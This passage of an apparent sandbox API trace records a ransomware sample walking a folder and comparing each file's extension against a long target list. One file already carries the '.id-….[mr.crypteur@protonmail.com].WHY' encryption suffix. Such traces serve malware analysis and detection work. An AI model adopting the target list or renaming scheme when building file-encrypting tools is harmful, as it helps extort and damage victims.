ftLastWriteTime.dwLowDateTime=0x134c6640, ftLastWriteTime.dwHighDateTime=0x1d5e0c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.734] FindNextFileW (in: hFindFile=0x6202c0, lpFindFileData=0x38ef808 | out: lpFindFileData=0x38ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x134c6640, ftCreationTime.dwHighDateTime=0x1d5e0c9, ftLastAccessTime.dwLowDateTime=0x134c6640, ftLastAccessTime.dwHighDateTime=0x1d5e0c9, ftLastWriteTime.dwLowDateTime=0x134ec7a0, ftLastWriteTime.dwHighDateTime=0x1d5e0c9, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0206.734] lstrlenW (lpString="desktop.ini") returned 11 [0206.734] lstrlenW (lpString=".1cd") returned 4 [0206.734] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0206.734] lstrlenW (lpString=".3ds") returned 4 [0206.734] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0206.734] lstrlenW (lpString=".3fr") returned 4 [0206.734] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0206.734] lstrlenW (lpString=".3g2") returned 4 [0206.735] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0206.735] lstrlenW (lpString=".3gp") returned 4 [0206.735] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0206.735] lstrlenW (lpString=".7z") returned 3 [0206.735] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0206.735] lstrlenW (lpString=".accda") returned 6 [0206.735] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0206.735] lstrlenW (lpString=".accdb") returned 6 [0206.735] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0206.735] lstrlenW (lpString=".accdc") returned 6 [0206.735] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0206.735] lstrlenW (lpString=".accde") returned 6 [0206.735] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0206.736] lstrlenW (lpString=".accdt") returned 6 [0206.736] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0206.736] lstrlenW (lpString=".accdw") returned 6 [0206.736] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0206.736] lstrlenW (lpString=".adb") returned 4 [0206.736] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0206.736] lstrlenW (lpString=".adp") returned 4 [0206.736] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0206.736] lstrlenW (lpString=".ai") returned 3 [0206.736] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0206.736] lstrlenW (lpString=".ai3") returned 4 [0206.736] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0206.736] lstrlenW (lpString=".ai4") returned 4 [0206.737] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0206.737] lstrlenW (lpString=".ai5") returned 4 [0206.737] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0206.737] lstrlenW (lpString=".ai6") returned 4 [0206.737] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0206.737] lstrlenW (lpString=".ai7") returned 4 [0206.737] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0206.737] lstrlenW (lpString=".ai8") returned 4 [0206.737] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0206.737] lstrlenW (lpString=".anim") returned 5 [0206.737] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0206.737] lstrlenW (lpString=".arw") returned 4 [0206.737] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0206.737] lstrlenW (lpString=".as") returned 3 [0206.738] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0206.738] lstrlenW (lpString=".asa") returned 4 [0206.738] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0206.738] lstrlenW (lpString=".asc") returned 4 [0206.738] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0206.738] lstrlenW (lpString=".ascx") returned 5 [0206.738] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0206.738] lstrlenW (lpString=".asm") returned 4 [0206.738] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0206.738] lstrlenW (lpString=".asmx") returned 5 [0206.738] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0206.738] lstrlenW (lpString=".asp") returned 4 [0206.739] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0206.739] lstrlenW (lpString=".aspx") returned 5 [0206.739] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0206.739] lstrlenW (lpString=".asr") returned 4 [0206.739] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0206.739] lstrlenW (lpString=".asx") returned 4 [0206.739] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0206.739] lstrlenW (lpString=".avi") returned 4 [0206.739] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0206.739] lstrlenW (lpString=".avs") returned 4 [0206.739] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0206.739] lstrlenW (lpString=".backup") returned 7 [0206.739] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0206.739] lstrlenW (lpString=".bak") returned 4 [0206.739] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0206.739] lstrlenW (lpString=".bay") returned 4 [0206.740] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0206.740] lstrlenW (lpString=".bd") returned 3 [0206.740] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0206.740] lstrlenW (lpString=".bin") returned 4 [0206.740] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0206.740] lstrlenW (lpString=".bmp") returned 4 [0206.740] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0206.740] lstrlenW (lpString=".bz2") returned 4 [0206.740] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0206.740] lstrlenW (lpString=".c") returned 2 [0206.740] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0206.740] lstrlenW (lpString=".cdr") returned 4 [0206.740] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0206.741] lstrlenW (lpString=".cer") returned 4 [0206.741] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0206.741] lstrlenW (lpString=".cf") returned 3 [0206.741] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0206.741] lstrlenW (lpString=".cfc") returned 4 [0206.741] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0206.741] lstrlenW (lpString=".cfm") returned 4 [0206.741] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0206.741] lstrlenW (lpString=".cfml") returned 5 [0206.741] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0206.741] lstrlenW (lpString=".cfu") returned 4 [0206.741] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0206.741] lstrlenW (lpString=".chm") returned 4 [0206.741] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0206.741] lstrlenW (lpString=".cin") returned 4 [0206.742] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0206.742] lstrlenW (lpString=".class") returned 6 [0206.742] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0206.742] lstrlenW (lpString=".clx") returned 4 [0206.742] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0206.742] lstrlenW (lpString=".config") returned 7 [0206.742] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0206.742] lstrlenW (lpString=".cpp") returned 4 [0206.742] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0206.742] lstrlenW (lpString=".cr2") returned 4 [0206.742] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0206.742] lstrlenW (lpString=".crt") returned 4 [0206.743] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0206.743] lstrlenW (lpString=".crw") returned 4 [0206.743] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0206.743] lstrlenW (lpString=".cs") returned 3 [0206.743] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0206.743] lstrlenW (lpString=".css") returned 4 [0206.743] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0206.743] lstrlenW (lpString=".csv") returned 4 [0206.743] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0206.743] lstrlenW (lpString=".cub") returned 4 [0206.743] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0206.744] lstrlenW (lpString=".dae") returned 4 [0206.744] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0206.744] lstrlenW (lpString=".dat") returned 4 [0206.744] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0206.744] lstrlenW (lpString=".db") returned 3 [0206.744] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0206.744] lstrlenW (lpString=".dbf") returned 4 [0206.744] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0206.744] lstrlenW (lpString=".dbx") returned 4 [0206.744] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0206.744] lstrlenW (lpString=".dc3") returned 4 [0206.744] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0206.745] lstrlenW (lpString=".dcm") returned 4 [0206.745] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0206.745] lstrlenW (lpString=".dcr") returned 4 [0206.745] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0206.745] lstrlenW (lpString=".der") returned 4 [0206.746] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0206.746] lstrlenW (lpString=".dib") returned 4 [0206.746] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0206.746] lstrlenW (lpString=".dic") returned 4 [0206.746] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0206.746] lstrlenW (lpString=".dif") returned 4 [0206.746] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0206.746] lstrlenW (lpString=".divx") returned 5 [0206.746] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0206.746] lstrlenW (lpString=".djvu") returned 5 [0206.746] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0206.746] lstrlenW (lpString=".dng") returned 4 [0206.747] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0206.747] lstrlenW (lpString=".doc") returned 4 [0206.747] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0206.747] lstrlenW (lpString=".docm") returned 5 [0206.747] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0206.747] lstrlenW (lpString=".docx") returned 5 [0206.747] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0206.747] lstrlenW (lpString=".dot") returned 4 [0206.747] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0206.747] lstrlenW (lpString=".dotm") returned 5 [0206.747] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0206.747] lstrlenW (lpString=".dotx") returned 5 [0206.748] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0206.748] lstrlenW (lpString=".dpx") returned 4 [0206.748] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0206.748] lstrlenW (lpString=".dqy") returned 4 [0206.748] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0206.748] lstrlenW (lpString=".dsn") returned 4 [0206.748] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0206.748] lstrlenW (lpString=".dt") returned 3 [0206.748] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0206.748] lstrlenW (lpString=".dtd") returned 4 [0206.748] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0206.748] lstrlenW (lpString=".dwg") returned 4 [0206.748] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0206.749] lstrlenW (lpString=".dwt") returned 4 [0206.749] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0206.749] lstrlenW (lpString=".dx") returned 3 [0206.749] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0206.749] lstrlenW (lpString=".dxf") returned 4 [0206.749] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0206.749] lstrlenW (lpString=".edml") returned 5 [0206.749] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0206.749] lstrlenW (lpString=".efd") returned 4 [0206.749] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0206.749] lstrlenW (lpString=".elf") returned 4 [0206.750] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0206.750] lstrlenW (lpString=".emf") returned 4 [0206.750] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0206.750] lstrlenW (lpString=".emz") returned 4 [0206.750] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0206.750] lstrlenW (lpString=".epf") returned 4 [0206.750] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0206.750] lstrlenW (lpString=".eps") returned 4 [0206.750] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0206.750] lstrlenW (lpString=".epsf") returned 5 [0206.750] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0206.750] lstrlenW (lpString=".epsp") returned 5 [0206.751] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0206.751] lstrlenW (lpString=".erf") returned 4 [0206.751] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0206.751] lstrlenW (lpString=".exr") returned 4 [0206.751] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0206.751] lstrlenW (lpString=".f4v") returned 4 [0206.751] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0206.751] lstrlenW (lpString=".fido") returned 5 [0206.751] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0206.751] lstrlenW (lpString=".flm") returned 4 [0206.751] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0206.751] lstrlenW (lpString=".flv") returned 4 [0206.752] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0206.752] lstrlenW (lpString=".frm") returned 4 [0206.752] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0206.752] lstrlenW (lpString=".fxg") returned 4 [0206.752] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0206.752] lstrlenW (lpString=".geo") returned 4 [0206.752] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0206.752] lstrlenW (lpString=".gif") returned 4 [0206.752] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0206.752] lstrlenW (lpString=".grs") returned 4 [0206.752] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0206.752] lstrlenW (lpString=".gz") returned 3 [0206.752] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0206.753] lstrlenW (lpString=".h") returned 2 [0206.753] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0206.753] lstrlenW (lpString=".hdr") returned 4 [0206.753] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0206.753] lstrlenW (lpString=".hpp") returned 4 [0206.753] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0206.753] lstrlenW (lpString=".hta") returned 4 [0206.753] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0206.753] lstrlenW (lpString=".htc") returned 4 [0206.753] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0206.753] lstrlenW (lpString=".htm") returned 4 [0206.754] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0206.754] lstrlenW (lpString=".html") returned 5 [0206.754] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0206.754] lstrlenW (lpString=".icb") returned 4 [0206.754] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0206.754] lstrlenW (lpString=".ics") returned 4 [0206.754] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0206.754] lstrlenW (lpString=".iff") returned 4 [0206.754] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0206.754] lstrlenW (lpString=".inc") returned 4 [0206.754] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0206.754] lstrlenW (lpString=".indd") returned 5 [0206.755] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0206.755] lstrlenW (lpString=".ini") returned 4 [0206.755] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0206.755] FindNextFileW (in: hFindFile=0x6202c0, lpFindFileData=0x38ef808 | out: lpFindFileData=0x38ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbb3abec0, ftCreationTime.dwHighDateTime=0x1d5e0c8, ftLastAccessTime.dwLowDateTime=0xbb3abec0, ftLastAccessTime.dwHighDateTime=0x1d5e0c8, ftLastWriteTime.dwLowDateTime=0xbb4b6860, ftLastWriteTime.dwHighDateTime=0x1d5e0c8, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY", cAlternateFileName="DESKTO~1.WHY")) returned 1 [0206.755] lstrlenW (lpString="desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY") returned 56 [0206.755] lstrlenW (lpString=".1cd") returned 4 [0206.755] lstrcmpiW (lpString1=".1cd", lpString2=".WHY") returned -1 [0206.755] lstrlenW (lpString=".3ds") returned 4 [0206.755] lstrcmpiW (lpString1=".3ds", lpString2=".WHY") returned -1 [0206.755] lstrlenW (lpString=".3fr") returned 4 [0206.755] lstrcmpiW (lpString1=".3fr", lpString2=".WHY") returned -1 [0206.756] lstrlenW (lpString=".3g2") returned 4 [0206.756] lstrcmpiW (lpString1=".3g2", lpString2=".WHY") returned -1 [0206.756] lstrlenW (lpString=".3gp") returned 4 [0206.756] lstrcmpiW (lpString1=".3gp", lpString2=".WHY") returned -1 [0206.756] lstrlenW (lpString=".7z") returned 3 [0206.756] lstrcmpiW (lpString1=".7z", lpString2="WHY") returned -1 [0206.756] lstrlenW (lpString=".accda") returned 6 [0206.756] lstrcmpiW (lpString1=".accda", lpString2="m].WHY") returned -1 [0206.756] lstrlenW (lpString=".accdb") returned 6 [0206.756] lstrcmpiW (lpString1=".accdb", lpString2="m].WHY") returned -1 [0206.756] lstrlenW (lpString=".accdc") returned 6 [0206.756] lstrcmpiW (lpString1=".accdc", lpString2="m].WHY") returned -1 [0206.756] lstrlenW (lpString=".accde") returned 6 [0206.757] lstrcmpiW (lpString1=".accde", lpString2="m].WHY") returned -1 [0206.757] lstrlenW (lpString=".accdt") returned 6 [0206.757] lstrcmpiW (lpString1=".accdt", lpString2="m].WHY") returned -1 [0206.757] lstrlenW (lpString=".accdw") returned 6 [0206.757] lstrcmpiW (lpString1=".accdw", lpString2="m].WHY") returned -1 [0206.757] lstrlenW (lpString=".adb") returned 4 [0206.757] lstrcmpiW (lpString1=".adb", lpString2=".WHY") returned -1 [0206.757] lstrlenW (lpString=".adp") returned 4 [0206.757] lstrcmpiW (lpString1=".adp", lpString2=".WHY") returned -1 [0206.757] lstrlenW (lpString=".ai") returned 3 [0206.757] lstrcmpiW (lpString1=".ai", lpString2="WHY") returned -1 [0206.757] lstrlenW (lpString=".ai3") returned 4 [0206.757] lstrcmpiW (lpString1=".ai3", lpString2=".WHY") returned -1 [0206.757] lstrlenW (lpString=".ai4") returned 4 [0206.758] lstrcmpiW (lpString1=".ai4", lpString2=".WHY") returned -1 [0206.758] lstrlenW (lpString=".ai5") returned 4 [0206.758] lstrcmpiW (lpString1=".ai5", lpString2=".WHY") returned -1 [0206.758] lstrlenW (lpString=".ai6") returned 4 [0206.758] lstrcmpiW (lpString1=".ai6", lpString2=".WHY") returned -1 [0206.758] lstrlenW (lpString=".ai7") returned 4 [0206.758] lstrcmpiW (lpString1=".ai7", lpString2=".WHY") returned -1 [0206.758] lstrlenW (lpString=".ai8") returned 4 [0206.758] lstrcmpiW (lpString1=".ai8", lpString2=".WHY") returned -1 [0206.758] lstrlenW (lpString=".anim") returned 5 [0206.758] lstrcmpiW (lpString1=".anim", lpString2="].WHY") returned -1 [0206.758] lstrlenW (lpString=".arw") returned 4 [0206.758] lstrcmpiW (lpString1=".arw", lpString2=".WHY") returned -1 [0206.759] lstrlenW (lpString=".as") returned 3 [0206.759] lstrcmpiW (lpString1=".as", lpString2="WHY") returned -1 [0206.759] lstrlenW (lpString=".asa") returned 4 [0206.759] lstrcmpiW (lpString1=".asa", lpString2=".WHY") returned -1 [0206.759] lstrlenW (lpString=".asc") returned 4 [0206.759] lstrcmpiW (lpString1=".asc", lpString2=".WHY") returned -1 [0206.759] lstrlenW (lpString=".ascx") returned 5 [0206.759] lstrcmpiW (lpString1=".ascx", lpString2="].WHY") returned -1 [0206.759] lstrlenW (lpString=".asm") returned 4 [0206.759] lstrcmpiW (lpString1=".asm", lpString2=".WHY") returned -1 [0206.759] lstrlenW (lpString=".asmx") returned 5 [0206.759] lstrcmpiW (lpString1=".asmx", lpString2="].WHY") returned -1 [0206.759] lstrlenW (lpString=".asp") returned 4 [0206.759] lstrcmpiW (lpString1=".asp", lpString2=".WHY") returned -1 [0206.760] lstrlenW (lpString=".aspx") returned 5 [0206.760] lstrcmpiW (lpString1=".aspx", lpString2="].WHY") returned -1 [0206.760] lstrlenW (lpString=".asr") returned 4 [0206.760] lstrcmpiW (lpString1=".asr", lpString2=".WHY") returned -1 [0206.760] lstrlenW (lpString=".asx") returned 4 [0206.760] lstrcmpiW (lpString1=".asx", lpString2=".WHY") returned -1 [0206.760] lstrlenW (lpString=".avi") returned 4 [0206.760] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0206.760] lstrlenW (lpString=".avs") returned 4 [0206.760] lstrcmpiW (lpString1=".avs", lpString2=".WHY") returned -1 [0206.760] lstrlenW (lpString=".backup") returned 7 [0206.760] lstrcmpiW (lpString1=".backup", lpString2="om].WHY") returned -1 [0206.761] lstrlenW (lpString=".bak") returned 4 [0206.761] lstrcmpiW (lpString1=".bak", lpString2=".WHY") returned -1 [0206.761] lstrlenW (lpString=".bay") returned 4 [0206.761] lstrcmpiW (lpString1=".bay", lpString2=".WHY") returned -1 [0206.761] lstrlenW (lpString=".bd") returned 3 [0206.761] lstrcmpiW (lpString1=".bd", lpString2="WHY") returned -1 [0206.761] lstrlenW (lpString=".bin") returned 4 [0206.761] lstrcmpiW (lpString1=".bin", lpString2=".WHY") returned -1 [0206.761] lstrlenW (lpString=".bmp") returned 4 [0206.761] lstrcmpiW (lpString1=".bmp", lpString2=".WHY") returned -1 [0206.761] lstrlenW (lpString=".bz2") returned 4 [0206.761] lstrcmpiW (lpString1=".bz2", lpString2=".WHY") returned -1 [0206.761] lstrlenW (lpString=".c") returned 2 [0206.762] lstrcmpiW (lpString1=".c", lpString2="HY") returned -1 [0206.762] lstrlenW (lpString=".cdr") returned 4 [0206.762] lstrcmpiW (lpString1=".cdr", lpString2=".WHY") returned -1 [0206.762] lstrlenW (lpString=".cer") returned 4 [0206.762] lstrcmpiW (lpString1=".cer", lpString2=".WHY") returned -1 [0206.762] lstrlenW (lpString=".cf") returned 3 [0206.762] lstrcmpiW (lpString1=".cf", lpString2="WHY") returned -1 [0206.762] lstrlenW (lpString=".cfc") returned 4 [0206.762] lstrcmpiW (lpString1=".cfc", lpString2=".WHY") returned -1 [0206.762] lstrlenW (lpString=".cfm") returned 4 [0206.762] lstrcmpiW (lpString1=".cfm", lpString2=".WHY") returned -1 [0206.762] lstrlenW (lpString=".cfml") returned 5 [0206.762] lstrcmpiW (lpString1=".cfml", lpString2="].WHY") returned -1 [0206.762] lstrlenW (lpString=".cfu") returned 4 [0206.763] lstrcmpiW (lpString1=".cfu", lpString2=".WHY") returned -1 [0206.763] lstrlenW (lpString=".chm") returned 4 [0207.131] lstrcmpiW (lpString1=".chm", lpString2=".WHY") returned -1 [0207.132] lstrlenW (lpString=".cin") returned 4 [0207.132] lstrcmpiW (lpString1=".cin", lpString2=".WHY") returned -1 [0207.132] lstrlenW (lpString=".class") returned 6 [0207.132] lstrcmpiW (lpString1=".class", lpString2="m].WHY") returned -1 [0207.132] lstrlenW (lpString=".clx") returned 4 [0207.132] lstrcmpiW (lpString1=".clx", lpString2=".WHY") returned -1 [0207.132] lstrlenW (lpString=".config") returned 7 [0207.132] lstrcmpiW (lpString1=".config", lpString2="om].WHY") returned -1 [0207.132] lstrlenW (lpString=".cpp") returned 4 [0207.132] lstrcmpiW (lpString1=".cpp", lpString2=".WHY") returned -1 [0207.132] lstrlenW (lpString=".cr2") returned 4 [0207.132] lstrcmpiW (lpString1=".cr2", lpString2=".WHY") returned -1 [0207.132] lstrlenW (lpString=".crt") returned 4 [0207.133] lstrcmpiW (lpString1=".crt", lpString2=".WHY") returned -1 [0207.133] lstrlenW (lpString=".crw") returned 4 [0207.133] lstrcmpiW (lpString1=".crw", lpString2=".WHY") returned -1 [0207.133] lstrlenW (lpString=".cs") returned 3 [0207.133] lstrcmpiW (lpString1=".cs", lpString2="WHY") returned -1 [0207.133] lstrlenW (lpString=".css") returned 4 [0207.133] lstrcmpiW (lpString1=".css", lpString2=".WHY") returned -1 [0207.133] lstrlenW (lpString=".csv") returned 4 [0207.133] lstrcmpiW (lpString1=".csv", lpString2=".WHY") returned -1 [0207.133] lstrlenW (lpString=".cub") returned 4 [0207.133] lstrcmpiW (lpString1=".cub", lpString2=".WHY") returned -1 [0207.133] lstrlenW (lpString=".dae") returned 4 [0207.133] lstrcmpiW (lpString1=".dae", lpString2=".WHY") returned -1 [0207.133] lstrlenW (lpString=".dat") returned 4 [0207.134] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0207.134] lstrlenW (lpString=".db") returned 3 [0207.134] lstrcmpiW (lpString1=".db", lpString2="WHY") returned -1 [0207.134] lstrlenW (lpString=".dbf") returned 4 [0207.134] lstrcmpiW (lpString1=".dbf", lpString2=".WHY") returned -1 [0207.134] lstrlenW (lpString=".dbx") returned 4 [0207.134] lstrcmpiW (lpString1=".dbx", lpString2=".WHY") returned -1 [0207.134] lstrlenW (lpString=".dc3") returned 4 [0207.134] lstrcmpiW (lpString1=".dc3", lpString2=".WHY") returned -1 [0207.134] lstrlenW (lpString=".dcm") returned 4 [0207.134] lstrcmpiW (lpString1=".dcm", lpString2=".WHY") returned -1 [0207.134] lstrlenW (lpString=".dcr") returned 4 [0207.134] lstrcmpiW (lpString1=".dcr", lpString2=".WHY") returned -1 [0207.134] lstrlenW (lpString=".der") returned 4 [0207.135] lstrcmpiW (lpString1=".der", lpString2=".WHY") returned -1 [0207.135] lstrlenW (lpString=".dib") returned 4 [0207.135] lstrcmpiW (lpString1=".dib", lpString2=".WHY") returned -1 [0207.135] lstrlenW (lpString=".dic") returned 4 [0207.135] lstrcmpiW (lpString1=".dic", lpString2=".WHY") returned -1 [0207.135] lstrlenW (lpString=".dif") returned 4 [0207.135] lstrcmpiW (lpString1=".dif", lpString2=".WHY") returned -1 [0207.135] lstrlenW (lpString=".divx") returned 5 [0207.135] lstrcmpiW (lpString1=".divx", lpString2="].WHY") returned -1 [0207.135] lstrlenW (lpString=".djvu") returned 5 [0207.135] lstrcmpiW (lpString1=".djvu", lpString2="].WHY") returned -1 [0207.135] lstrlenW (lpString=".dng") returned 4 [0207.135] lstrcmpiW (lpString1=".dng", lpString2=".WHY") returned -1 [0207.135] lstrlenW (lpString=".doc") returned 4 [0207.136] lstrcmpiW (lpString1=".doc", lpString2=".WHY") returned -1 [0207.136] lstrlenW (lpString=".docm") returned 5 [0207.136] lstrcmpiW (lpString1=".docm", lpString2="].WHY") returned -1 [0207.136] lstrlenW (lpString=".docx") returned 5 [0207.136] lstrcmpiW (lpString1=".docx", lpString2="].WHY") returned -1 [0207.136] lstrlenW (lpString=".dot") returned 4 [0207.136] lstrcmpiW (lpString1=".dot", lpString2=".WHY") returned -1 [0207.136] lstrlenW (lpString=".dotm") returned 5 [0207.136] lstrcmpiW (lpString1=".dotm", lpString2="].WHY") returned -1 [0207.136] lstrlenW (lpString=".dotx") returned 5 [0207.136] lstrcmpiW (lpString1=".dotx", lpString2="].WHY") returned -1 [0207.136] lstrlenW (lpString=".dpx") returned 4 [0207.137] lstrcmpiW (lpString1=".dpx", lpString2=".WHY") returned -1 [0207.137] lstrlenW (lpString=".dqy") returned 4 [0207.137] lstrcmpiW (lpString1=".dqy", lpString2=".WHY") returned -1 [0207.137] lstrlenW (lpString=".dsn") returned 4 [0207.137] lstrcmpiW (lpString1=".dsn", lpString2=".WHY") returned -1 [0207.137] lstrlenW (lpString=".dt") returned 3 [0207.137] lstrcmpiW (lpString1=".dt", lpString2="WHY") returned -1 [0207.137] lstrlenW (lpString=".dtd") returned 4 [0207.137] lstrcmpiW (lpString1=".dtd", lpString2=".WHY") returned -1 [0207.137] lstrlenW (lpString=".dwg") returned 4 [0207.137] lstrcmpiW 